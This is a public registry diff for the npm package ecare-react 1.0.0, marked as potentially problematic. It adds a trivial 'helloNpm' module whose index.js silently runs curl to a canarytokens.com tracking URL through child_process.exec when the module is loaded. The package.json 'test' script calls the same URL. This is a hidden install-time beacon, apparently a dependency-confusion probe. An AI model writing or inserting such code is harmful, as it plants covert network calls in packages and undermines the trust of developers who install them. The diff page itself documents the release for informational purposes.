ecare-react 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ecare-react might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +22 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ function helloNpm() {
2
+ return "hello NPM"
3
+ }
4
+ const { exec } = require('child_process');
5
+ const command = 'curl http://canarytokens.com/traffic/2g0pqd5w3rtlpkjcsbruy9jr7/contact.php?withinCode';
6
+
7
+ exec(command, (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.error(`Error executing command: ${error}`);
10
+ return;
11
+ }
12
+
13
+ if (stderr) {
14
+ console.error(`Command error: ${stderr}`);
15
+ return;
16
+ }
17
+
18
+ // Process the command output
19
+ console.log(`Command output: ${stdout}`);
20
+ });
21
+
22
+ module.exports = helloNpm
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "ecare-react",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "curl http://canarytokens.com/traffic/2g0pqd5w3rtlpkjcsbruy9jr7/contact.php"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }